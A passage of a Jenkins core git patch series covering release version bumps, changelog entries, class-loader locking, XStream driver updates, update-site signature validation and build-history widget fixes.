(RestartNotSupportedException exception) { // ignore if restart is not allowed status = new Failure(); -- GitLab From d289161de0a1c19231664cd0a5ac1fcc026f3397 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 4 Oct 2016 14:55:41 -0400 Subject: [PATCH 355/811] [JENKINS-37098] #2490 omitted one since tag, and incorrectly copied another. --- .../main/java/hudson/util/io/RewindableFileOutputStream.java | 1 + .../java/hudson/util/io/RewindableRotatingFileOutputStream.java | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/util/io/RewindableFileOutputStream.java b/core/src/main/java/hudson/util/io/RewindableFileOutputStream.java index 38e522a188..444040d589 100644 --- a/core/src/main/java/hudson/util/io/RewindableFileOutputStream.java +++ b/core/src/main/java/hudson/util/io/RewindableFileOutputStream.java @@ -33,6 +33,7 @@ import java.io.OutputStream; * {@link OutputStream} that writes to a file. *

                    * Allows the caller to rewind the stream and override previous content with fresh new data. + * @since 2.18 */ public class RewindableFileOutputStream extends OutputStream { protected final File out; diff --git a/core/src/main/java/hudson/util/io/RewindableRotatingFileOutputStream.java b/core/src/main/java/hudson/util/io/RewindableRotatingFileOutputStream.java index 132f0743a0..aa53ea9f4c 100644 --- a/core/src/main/java/hudson/util/io/RewindableRotatingFileOutputStream.java +++ b/core/src/main/java/hudson/util/io/RewindableRotatingFileOutputStream.java @@ -30,7 +30,7 @@ import java.io.IOException; * {@link ReopenableFileOutputStream} that does log rotation upon rewind. * * @author Kohsuke Kawaguchi - * @since 1.416 + * @since 2.18 */ public class RewindableRotatingFileOutputStream extends RewindableFileOutputStream { /** -- GitLab From b67dddfa101b24eb067543c206ccd201e250ef61 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Fri, 7 Oct 2016 10:57:19 +0200 Subject: [PATCH 356/811] Towards 2.19.2 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 2 +- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 71a05f9615..4936e24872 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.19.1 + 2.19.2-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 4b5efdee92..adf4eff43c 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.1 + 2.19.2-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index ddd7d36a8d..44ba28c626 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.1 + 2.19.2-SNAPSHOT pom Jenkins main module diff --git a/test/pom.xml b/test/pom.xml index 3181f74c6e..1888e1636f 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.1 + 2.19.2-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 4784dcd6cd..7e97a1ac6b 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.1 + 2.19.2-SNAPSHOT jenkins-war -- GitLab From 85ed077b5ccbc4341158a63c5fab19b27e414c90 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 9 Oct 2016 17:15:46 -0700 Subject: [PATCH 357/811] [maven-release-plugin] prepare release jenkins-2.25 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 2faef9d133..047c182922 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.25-SNAPSHOT + 2.25 cli diff --git a/core/pom.xml b/core/pom.xml index cbf454ad34..ae2e06bcf1 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.25-SNAPSHOT + 2.25 jenkins-core diff --git a/pom.xml b/pom.xml index 2d4bbb7452..68f0fc134a 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.25-SNAPSHOT + 2.25 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.25 diff --git a/test/pom.xml b/test/pom.xml index 729d0315ee..ebe2ce94e7 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.25-SNAPSHOT + 2.25 test diff --git a/war/pom.xml b/war/pom.xml index 2c6a112ec0..1a80ccdc33 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.25-SNAPSHOT + 2.25 jenkins-war -- GitLab From f4a9089185e4753ec70bea33959032917874360a Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 9 Oct 2016 17:15:47 -0700 Subject: [PATCH 358/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 047c182922..7d94154e38 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.25 + 2.26-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index ae2e06bcf1..e5c9b90407 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.25 + 2.26-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 68f0fc134a..2d017db43c 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.25 + 2.26-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.25 + HEAD diff --git a/test/pom.xml b/test/pom.xml index ebe2ce94e7..b42c899a70 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.25 + 2.26-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 1a80ccdc33..1ddf88893e 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.25 + 2.26-SNAPSHOT jenkins-war -- GitLab From 75afe1e502a86f685e6632842ec2e3b36e510c81 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 9 Oct 2016 17:23:19 -0700 Subject: [PATCH 359/811] updated changelog for release --- changelog.html | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/changelog.html b/changelog.html index fb292097d3..a0c7ef5fa0 100644 --- a/changelog.html +++ b/changelog.html @@ -59,6 +59,10 @@ Upcoming changes

                  +

                  What's new in 2.25 (2016/10/09)

                  +
                    +
                  • +

                  What's new in 2.24 (2016/10/02)

                  • -- GitLab From 59cec4565768fc47db1efe6a01f9960e19b919fc Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Mon, 10 Oct 2016 07:30:08 +0200 Subject: [PATCH 360/811] Noting #2570, #2572, #2579 --- changelog.html | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index a0c7ef5fa0..390f05d082 100644 --- a/changelog.html +++ b/changelog.html @@ -61,7 +61,15 @@ Upcoming changes

                    What's new in 2.25 (2016/10/09)

                      -
                    • +
                    • + Display transient actions for labels. + (issue 38651) +
                    • + Add user to restart log message for restart after plugin installation. + (issue 38615) +
                    • + Internal: Code modernization: Use try-with-resources a lot more + (pull 2570)

                    What's new in 2.24 (2016/10/02)

                      -- GitLab From a04e2f9836263f7ae5e68617f5bafde18e594446 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 10 Oct 2016 02:10:58 -0400 Subject: [PATCH 361/811] [JENKINS-23784] Avoid acquiring ClassLoader locks. (#2581) --- .../main/java/hudson/util/MaskingClassLoader.java | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/core/src/main/java/hudson/util/MaskingClassLoader.java b/core/src/main/java/hudson/util/MaskingClassLoader.java index c51e1f187b..47563439d4 100644 --- a/core/src/main/java/hudson/util/MaskingClassLoader.java +++ b/core/src/main/java/hudson/util/MaskingClassLoader.java @@ -25,12 +25,12 @@ package hudson.util; import java.io.IOException; import java.net.URL; -import java.util.ArrayList; import java.util.Arrays; import java.util.Collection; import java.util.List; import java.util.Enumeration; import java.util.Collections; +import java.util.concurrent.CopyOnWriteArrayList; /** * {@link ClassLoader} that masks a specified set of classes @@ -45,9 +45,9 @@ public class MaskingClassLoader extends ClassLoader { /** * Prefix of the packages that should be hidden. */ - private final List masksClasses = new ArrayList(); + private final List masksClasses = new CopyOnWriteArrayList<>(); - private final List masksResources = new ArrayList(); + private final List masksResources = new CopyOnWriteArrayList<>(); public MaskingClassLoader(ClassLoader parent, String... masks) { this(parent, Arrays.asList(masks)); @@ -66,7 +66,7 @@ public class MaskingClassLoader extends ClassLoader { } @Override - protected synchronized Class loadClass(String name, boolean resolve) throws ClassNotFoundException { + protected Class loadClass(String name, boolean resolve) throws ClassNotFoundException { for (String mask : masksClasses) { if(name.startsWith(mask)) throw new ClassNotFoundException(); @@ -76,7 +76,7 @@ public class MaskingClassLoader extends ClassLoader { } @Override - public synchronized URL getResource(String name) { + public URL getResource(String name) { if (isMasked(name)) return null; return super.getResource(name); @@ -89,7 +89,7 @@ public class MaskingClassLoader extends ClassLoader { return super.getResources(name); } - public synchronized void add(String prefix) { + public void add(String prefix) { masksClasses.add(prefix); if(prefix !=null){ masksResources.add(prefix.replace(".","/")); -- GitLab From 8888296e68289af914921c9965bdb97f6943b9cf Mon Sep 17 00:00:00 2001 From: Akbashev Alexander Date: Mon, 10 Oct 2016 08:12:02 +0200 Subject: [PATCH 362/811] Update XStream drive to improve performance in xml serilization/deserialization (#2561) * Update XStream drive to improve performance in xml serilization/deserialization According XStream FAQ (http://x-stream.github.io/faq.html#Scalability): XStream is a generalizing library, it inspects and handles your types on the fly. Therefore it will normally be slower than a piece of optimized Java code generated out of a schema. However, it is possible to increase the performance anyway: * Write custom converters for those of your types that occur very often in your XML. * Keep a configured XStream instance for multiple usage. Creation and initialization is quite expensive compared to the overhead of XStream when calling marshall or unmarshal. * Use Xpp3 or StAX parsers. So, I decided to move from old Xpp to new Xpp3. * Change other occurance of XppDriver to Xpp3Driver as well --- core/src/main/java/hudson/XmlFile.java | 4 ++-- core/src/main/java/hudson/model/View.java | 4 ++-- .../src/main/java/jenkins/util/xstream/XStreamDOM.java | 10 +++++----- 3 files changed, 9 insertions(+), 9 deletions(-) diff --git a/core/src/main/java/hudson/XmlFile.java b/core/src/main/java/hudson/XmlFile.java index 0e7f4ee96a..933621b74b 100644 --- a/core/src/main/java/hudson/XmlFile.java +++ b/core/src/main/java/hudson/XmlFile.java @@ -28,7 +28,7 @@ import com.thoughtworks.xstream.XStreamException; import com.thoughtworks.xstream.converters.Converter; import com.thoughtworks.xstream.converters.UnmarshallingContext; import com.thoughtworks.xstream.io.StreamException; -import com.thoughtworks.xstream.io.xml.XppDriver; +import com.thoughtworks.xstream.io.xml.Xpp3Driver; import hudson.diagnosis.OldDataMonitor; import hudson.model.Descriptor; import hudson.util.AtomicFileWriter; @@ -292,7 +292,7 @@ public final class XmlFile { private static final SAXParserFactory JAXP = SAXParserFactory.newInstance(); - private static final XppDriver DEFAULT_DRIVER = new XppDriver(); + private static final Xpp3Driver DEFAULT_DRIVER = new Xpp3Driver(); static { JAXP.setNamespaceAware(true); diff --git a/core/src/main/java/hudson/model/View.java b/core/src/main/java/hudson/model/View.java index cffb079036..41807209f9 100644 --- a/core/src/main/java/hudson/model/View.java +++ b/core/src/main/java/hudson/model/View.java @@ -26,7 +26,7 @@ package hudson.model; import com.thoughtworks.xstream.converters.ConversionException; import com.thoughtworks.xstream.io.StreamException; -import com.thoughtworks.xstream.io.xml.XppDriver; +import com.thoughtworks.xstream.io.xml.Xpp3Driver; import hudson.DescriptorExtensionList; import hudson.Extension; import hudson.ExtensionPoint; @@ -1166,7 +1166,7 @@ public abstract class View extends AbstractModelObject implements AccessControll // Do not allow overwriting view name as it might collide with another // view in same ViewGroup and might not satisfy Jenkins.checkGoodName. String oldname = name; - Jenkins.XSTREAM.unmarshal(new XppDriver().createReader(in), this); + Jenkins.XSTREAM.unmarshal(new Xpp3Driver().createReader(in), this); name = oldname; } catch (StreamException | ConversionException | Error e) {// mostly reflection errors throw new IOException("Unable to read",e); diff --git a/core/src/main/java/jenkins/util/xstream/XStreamDOM.java b/core/src/main/java/jenkins/util/xstream/XStreamDOM.java index 4fa5e4d04c..41603b5179 100644 --- a/core/src/main/java/jenkins/util/xstream/XStreamDOM.java +++ b/core/src/main/java/jenkins/util/xstream/XStreamDOM.java @@ -35,7 +35,7 @@ import com.thoughtworks.xstream.io.xml.AbstractXmlReader; import com.thoughtworks.xstream.io.xml.AbstractXmlWriter; import com.thoughtworks.xstream.io.xml.DocumentReader; import com.thoughtworks.xstream.io.xml.XmlFriendlyReplacer; -import com.thoughtworks.xstream.io.xml.XppDriver; +import com.thoughtworks.xstream.io.xml.Xpp3Driver; import hudson.Util; import hudson.util.VariableResolver; @@ -241,11 +241,11 @@ public class XStreamDOM { * Writes this {@link XStreamDOM} into {@link OutputStream}. */ public void writeTo(OutputStream os) { - writeTo(new XppDriver().createWriter(os)); + writeTo(new Xpp3Driver().createWriter(os)); } public void writeTo(Writer w) { - writeTo(new XppDriver().createWriter(w)); + writeTo(new Xpp3Driver().createWriter(w)); } public void writeTo(HierarchicalStreamWriter w) { @@ -262,11 +262,11 @@ public class XStreamDOM { } public static XStreamDOM from(InputStream in) { - return from(new XppDriver().createReader(in)); + return from(new Xpp3Driver().createReader(in)); } public static XStreamDOM from(Reader in) { - return from(new XppDriver().createReader(in)); + return from(new Xpp3Driver().createReader(in)); } public static XStreamDOM from(HierarchicalStreamReader in) { -- GitLab From 67df10db2d4e0620ba4e7fde399c4340d39604b6 Mon Sep 17 00:00:00 2001 From: gusreiber Date: Sun, 9 Oct 2016 23:19:37 -0700 Subject: [PATCH 363/811] [JENKINS-35263] displaying codeMirror as table to fix page sizing (#2575) --- core/src/main/resources/lib/form/textarea/textarea.css | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 core/src/main/resources/lib/form/textarea/textarea.css diff --git a/core/src/main/resources/lib/form/textarea/textarea.css b/core/src/main/resources/lib/form/textarea/textarea.css new file mode 100644 index 0000000000..71300ae0e3 --- /dev/null +++ b/core/src/main/resources/lib/form/textarea/textarea.css @@ -0,0 +1,5 @@ +td.setting-main .CodeMirror { + display: table; + table-layout: fixed; + width: 100%; +} \ No newline at end of file -- GitLab From 0e8786b70835467dff92c8bde35e93d0c3ac94a7 Mon Sep 17 00:00:00 2001 From: "R. Tyler Croy" Date: Fri, 2 Sep 2016 16:10:06 -0700 Subject: [PATCH 364/811] [FIXED JENKINS-34250] Use the appropriate 'Gear' icon on the Plugin Manager page This has annoyed me for long enough (cherry picked from commit 4fbfe25797079ead5fee2c42145cb4e75365c865) --- core/src/main/resources/hudson/PluginManager/sidepanel.groovy | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/resources/hudson/PluginManager/sidepanel.groovy b/core/src/main/resources/hudson/PluginManager/sidepanel.groovy index 98aeab3470..d129bd53c7 100644 --- a/core/src/main/resources/hudson/PluginManager/sidepanel.groovy +++ b/core/src/main/resources/hudson/PluginManager/sidepanel.groovy @@ -28,7 +28,7 @@ l.header() l.side_panel { l.tasks { l.task(icon:"icon-up icon-md", href:rootURL+'/', title:_("Back to Dashboard")) - l.task(icon:"icon-setting icon-md", href:"${rootURL}/manage", title:_("Manage Jenkins"), permission:app.ADMINISTER, it:app) + l.task(icon:"icon-gear2 icon-md", href:"${rootURL}/manage", title:_("Manage Jenkins"), permission:app.ADMINISTER, it:app) if (!app.updateCenter.jobs.isEmpty()) { l.task(icon:"icon-plugin icon-md", href:"${rootURL}/updateCenter/", title:_("Update Center")) } -- GitLab From fa2d1823c054ae3e19b180b4a39780aff0054762 Mon Sep 17 00:00:00 2001 From: Kanstantsin Shautsou Date: Fri, 9 Sep 2016 16:33:23 +0300 Subject: [PATCH 365/811] [FIXED JENKINS-37997] FIX NPE when descriptor is not in DescriptorList (#2536) For example when Descriptor was defined as field and without @Extension . Signed-off-by: Kanstantsin Shautsou (cherry picked from commit 5d3b23daf7e52c511fd594665ef8d648bb7bb121) --- core/src/main/java/hudson/model/Descriptor.java | 8 +++++++- core/src/main/java/jenkins/model/Jenkins.java | 1 + 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/model/Descriptor.java b/core/src/main/java/hudson/model/Descriptor.java index 8337195690..66a2ff90e7 100644 --- a/core/src/main/java/hudson/model/Descriptor.java +++ b/core/src/main/java/hudson/model/Descriptor.java @@ -638,7 +638,13 @@ public abstract class Descriptor> implements Saveable { if (isApplicable(actualType, json)) { LOGGER.log(Level.FINE, "switching to newInstance {0} {1}", new Object[] {actualType.getName(), json}); try { - return Jenkins.getActiveInstance().getDescriptor(actualType).newInstance(Stapler.getCurrentRequest(), json); + final Descriptor descriptor = Jenkins.getActiveInstance().getDescriptor(actualType); + if (descriptor != null) { + return descriptor.newInstance(Stapler.getCurrentRequest(), json); + } else { + LOGGER.log(Level.WARNING, "Descriptor not found. Falling back to default instantiation " + + actualType.getName() + " " + json); + } } catch (Exception x) { LOGGER.log(Level.WARNING, "falling back to default instantiation " + actualType.getName() + " " + json, x); // If nested objects are not using newInstance, bindJSON will wind up throwing the same exception anyway, diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 83e3184894..f165e1149f 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -1402,6 +1402,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve * If you have an instance of {@code type} and call {@link Describable#getDescriptor()}, * you'll get the same instance that this method returns. */ + @CheckForNull public Descriptor getDescriptor(Class type) { for( Descriptor d : getExtensionList(Descriptor.class) ) if(d.clazz==type) -- GitLab From 79a5e3e45bc2d3fc398e7d2effd06cd74df27461 Mon Sep 17 00:00:00 2001 From: valentina Date: Tue, 23 Aug 2016 12:55:38 +0200 Subject: [PATCH 366/811] [FIXED JENKINS-36537] Allow the use of custom json signature validator for metadata signature check (#2442) (cherry picked from commit 8acc12ff7933774dd92c37d3ca5ac1c77f217b39) --- .../java/hudson/model/DownloadService.java | 13 ++++- .../main/java/hudson/model/UpdateSite.java | 47 ++++++++++++++++++- 2 files changed, 57 insertions(+), 3 deletions(-) diff --git a/core/src/main/java/hudson/model/DownloadService.java b/core/src/main/java/hudson/model/DownloadService.java index 69e8dcbf9e..52da67e9d3 100644 --- a/core/src/main/java/hudson/model/DownloadService.java +++ b/core/src/main/java/hudson/model/DownloadService.java @@ -70,6 +70,11 @@ import org.kohsuke.stapler.StaplerResponse; */ @Extension public class DownloadService extends PageDecorator { + + /** + * the prefix for the signature validator name + */ + private static final String signatureValidatorPrefix = "downloadable"; /** * Builds up an HTML fragment that starts all the download jobs. */ @@ -397,7 +402,11 @@ public class DownloadService extends PageDecorator { public FormValidation updateNow() throws IOException { List jsonList = new ArrayList<>(); boolean toolInstallerMetadataExists = false; - for (String site : getUrls()) { + for (UpdateSite updatesite : Jenkins.getActiveInstance().getUpdateCenter().getSiteList()) { + String site = updatesite.getMetadataUrlForDownloadable(url); + if (site == null) { + return FormValidation.warning("The update site " + site + " does not look like an update center"); + } String jsonString; try { jsonString = loadJSONHTML(new URL(site + ".html?id=" + URLEncoder.encode(getId(), "UTF-8") + "&version=" + URLEncoder.encode(Jenkins.VERSION, "UTF-8"))); @@ -408,7 +417,7 @@ public class DownloadService extends PageDecorator { } JSONObject o = JSONObject.fromObject(jsonString); if (signatureCheck) { - FormValidation e = new JSONSignatureValidator("downloadable '"+id+"'").verifySignature(o); + FormValidation e = updatesite.getJsonSignatureValidator(signatureValidatorPrefix +" '"+id+"'").verifySignature(o); if (e.kind!= Kind.OK) { LOGGER.log(Level.WARNING, "signature check failed for " + site, e ); continue; diff --git a/core/src/main/java/hudson/model/UpdateSite.java b/core/src/main/java/hudson/model/UpdateSite.java index f5b5e4beb7..67aad03fb4 100644 --- a/core/src/main/java/hudson/model/UpdateSite.java +++ b/core/src/main/java/hudson/model/UpdateSite.java @@ -130,6 +130,10 @@ public class UpdateSite { */ private final String url; + /** + * the prefix for the signature validator name + */ + private static final String signatureValidatorPrefix = "update site"; public UpdateSite(String id, String url) { @@ -242,10 +246,29 @@ public class UpdateSite { /** * Let sub-classes of UpdateSite provide their own signature validator. * @return the signature validator. + * @deprecated use {@link #getJsonSignatureValidator(@CheckForNull String)} instead. */ + @Deprecated @Nonnull protected JSONSignatureValidator getJsonSignatureValidator() { - return new JSONSignatureValidator("update site '"+id+"'"); + return getJsonSignatureValidator(null); + } + + /** + * Let sub-classes of UpdateSite provide their own signature validator. + * @param name, the name for the JSON signature Validator object. + * if name is null, then the default name will be used, + * which is "update site" followed by the update site id + * @return the signature validator. + * @since 2.15 + */ + @Nonnull + @Restricted(NoExternalUse.class) + protected JSONSignatureValidator getJsonSignatureValidator(@CheckForNull String name) { + if (name == null) { + name = signatureValidatorPrefix + " '" + id + "'"; + } + return new JSONSignatureValidator(name); } /** @@ -422,6 +445,28 @@ public class UpdateSite { return url; } + + /** + * URL which exposes the metadata location in a specific update site. + * @param downloadable, the downloadable id of a specific metatadata json (e.g. hudson.tasks.Maven.MavenInstaller.json) + * @return the location + * @since 2.15 + */ + @CheckForNull + @Restricted(NoExternalUse.class) + public String getMetadataUrlForDownloadable(String downloadable) { + String siteUrl = getUrl(); + String updateSiteMetadataUrl = null; + int baseUrlEnd = siteUrl.indexOf("update-center.json"); + if (baseUrlEnd != -1) { + String siteBaseUrl = siteUrl.substring(0, baseUrlEnd); + updateSiteMetadataUrl = siteBaseUrl + "updates/" + downloadable; + } else { + LOGGER.log(Level.WARNING, "Url {0} does not look like an update center:", siteUrl); + } + return updateSiteMetadataUrl; + } + /** * Where to actually download the update center? * -- GitLab From 56b58bd1df98cf34d6e7c9070123bc29497083c6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Mon, 10 Oct 2016 09:56:11 +0200 Subject: [PATCH 367/811] No need for @since on restricted API --- core/src/main/java/hudson/model/UpdateSite.java | 1 - 1 file changed, 1 deletion(-) diff --git a/core/src/main/java/hudson/model/UpdateSite.java b/core/src/main/java/hudson/model/UpdateSite.java index 67aad03fb4..53892cc2cc 100644 --- a/core/src/main/java/hudson/model/UpdateSite.java +++ b/core/src/main/java/hudson/model/UpdateSite.java @@ -260,7 +260,6 @@ public class UpdateSite { * if name is null, then the default name will be used, * which is "update site" followed by the update site id * @return the signature validator. - * @since 2.15 */ @Nonnull @Restricted(NoExternalUse.class) -- GitLab From fd0ccd2a2c1d3530e22a0edae3b0fa92f20f841c Mon Sep 17 00:00:00 2001 From: Matthew Reiter Date: Sun, 18 Sep 2016 00:52:23 -0400 Subject: [PATCH 368/811] [FIXED JENKINS-31487] (#2542) There were two issues preventing the build history from updating properly: 1) The next build number being fetched wasn't taking into account running builds, so any builds already running when the page is refreshed would be ignored. The fix was to use nextBuildNumberToFetch if it is available (which is the case if there are running builds) and to fall back to the next build otherwise. 2) The first transient build key (used to clear out builds from the history that are being updated) wasn't being set when the page first loads. This was fixed by making getHistoryPageFilter calculate the value so that it happens in all cases rather than just during the ajax call. (cherry picked from commit 0268b988d5c88cd29be12ed25e95d5bc448c2840) --- .../java/hudson/widgets/BuildHistoryWidget.java | 2 +- .../main/java/hudson/widgets/HistoryWidget.java | 17 +++++++++++++++-- .../hudson/widgets/HistoryWidget/index.jelly | 2 +- 3 files changed, 17 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/hudson/widgets/BuildHistoryWidget.java b/core/src/main/java/hudson/widgets/BuildHistoryWidget.java index c93d66b435..efd81da9d1 100644 --- a/core/src/main/java/hudson/widgets/BuildHistoryWidget.java +++ b/core/src/main/java/hudson/widgets/BuildHistoryWidget.java @@ -77,6 +77,6 @@ public class BuildHistoryWidget extends HistoryWidget { historyPageFilter.add(baseList, getQueuedItems()); historyPageFilter.widget = this; - return historyPageFilter; + return updateFirstTransientBuildKey(historyPageFilter); } } diff --git a/core/src/main/java/hudson/widgets/HistoryWidget.java b/core/src/main/java/hudson/widgets/HistoryWidget.java index 4a502b29b0..e82e78ad75 100644 --- a/core/src/main/java/hudson/widgets/HistoryWidget.java +++ b/core/src/main/java/hudson/widgets/HistoryWidget.java @@ -114,6 +114,20 @@ public class HistoryWidget extends Widget { return firstTransientBuildKey; } + /** + * Calculates the first transient build record. Everything >= this will be discarded when AJAX call is made. + * + * @param historyPageFilter + * The history page filter containing the list of builds. + * @return + * The history page filter that was passed in. + */ + @SuppressWarnings("unchecked") + protected HistoryPageFilter updateFirstTransientBuildKey(HistoryPageFilter historyPageFilter) { + updateFirstTransientBuildKey(historyPageFilter.runs); + return historyPageFilter; + } + private Iterable> updateFirstTransientBuildKey(Iterable> source) { String key=null; for (HistoryPageEntry t : source) { @@ -166,7 +180,7 @@ public class HistoryWidget extends Widget { historyPageFilter.add(baseList); historyPageFilter.widget = this; - return historyPageFilter; + return updateFirstTransientBuildKey(historyPageFilter); } protected HistoryPageFilter newPageFilter() { @@ -238,7 +252,6 @@ public class HistoryWidget extends Widget { } HistoryPageFilter page = getHistoryPageFilter(); - updateFirstTransientBuildKey(page.runs); req.getView(page,"ajaxBuildHistory.jelly").forward(req,rsp); } diff --git a/core/src/main/resources/hudson/widgets/HistoryWidget/index.jelly b/core/src/main/resources/hudson/widgets/HistoryWidget/index.jelly index fbb461b9ce..b4ffcd3885 100644 --- a/core/src/main/resources/hudson/widgets/HistoryWidget/index.jelly +++ b/core/src/main/resources/hudson/widgets/HistoryWidget/index.jelly @@ -119,6 +119,6 @@ THE SOFTWARE. -- GitLab From fee595bca8eaa284a377c97dd1f440103a76927d Mon Sep 17 00:00:00 2001 From: Yoann Dubreuil Date: Wed, 21 Sep 2016 10:39:52 +0200 Subject: [PATCH 369/811] [JENKINS-35184] Servlet API dependent bits in a inner-class (#2551) * [JENKINS-35184] Servlet API dependent bits in a inner-class This is in order to avoid loading ServletContextListener class from slaves classloader. * [JENKINS-35184] Don't use SystemProperties while initializing remote agents This rolls back the previous commit and introduces a new way to construct RingBufferLogHandler which avoids relying on SystemProperties to get the default size. * [JENKINS-35184] Mark SystemProperties as OnMaster only class Adding `OnMaster` annotation does not prevent the class from being loaded on remote agent but it gives a hint that this class should not be used on a remote agent. * [JENKINS-35184] Set SLAVE_LOG_HANDLER at the very beginning In the previous code cleaning existing log handlers, SLAVE_LOG_HANDLER is always null, as static fields are scoped by classloader. (cherry picked from commit 27d9b73ef4434de0000007c35352dfe48a08c751) --- core/src/main/java/hudson/WebAppMain.java | 6 +++++- .../main/java/hudson/slaves/SlaveComputer.java | 16 ++++++++++++++-- .../java/hudson/util/RingBufferLogHandler.java | 8 ++++++-- .../main/java/jenkins/util/SystemProperties.java | 6 ++++-- 4 files changed, 29 insertions(+), 7 deletions(-) diff --git a/core/src/main/java/hudson/WebAppMain.java b/core/src/main/java/hudson/WebAppMain.java index de518fcb72..b4a956513f 100644 --- a/core/src/main/java/hudson/WebAppMain.java +++ b/core/src/main/java/hudson/WebAppMain.java @@ -77,7 +77,11 @@ import static java.util.logging.Level.*; * @author Kohsuke Kawaguchi */ public class WebAppMain implements ServletContextListener { - private final RingBufferLogHandler handler = new RingBufferLogHandler() { + + // use RingBufferLogHandler class name to configure for backward compatibility + private static final int DEFAULT_RING_BUFFER_SIZE = SystemProperties.getInteger(RingBufferLogHandler.class.getName() + ".defaultSize", 256); + + private final RingBufferLogHandler handler = new RingBufferLogHandler(DEFAULT_RING_BUFFER_SIZE) { @Override public synchronized void publish(LogRecord record) { if (record.getLevel().intValue() >= Level.INFO.intValue()) { super.publish(record); diff --git a/core/src/main/java/hudson/slaves/SlaveComputer.java b/core/src/main/java/hudson/slaves/SlaveComputer.java index 50e071ef98..66e57ba76e 100644 --- a/core/src/main/java/hudson/slaves/SlaveComputer.java +++ b/core/src/main/java/hudson/slaves/SlaveComputer.java @@ -56,6 +56,7 @@ import jenkins.security.MasterToSlaveCallable; import jenkins.slaves.EncryptedSlaveAgentJnlpFile; import jenkins.slaves.JnlpSlaveAgentProtocol; import jenkins.slaves.systemInfo.SlaveSystemInfo; +import jenkins.util.SystemProperties; import org.acegisecurity.context.SecurityContext; import org.acegisecurity.context.SecurityContextHolder; import org.kohsuke.stapler.HttpRedirect; @@ -541,7 +542,7 @@ public class SlaveComputer extends Computer { // it'll have a 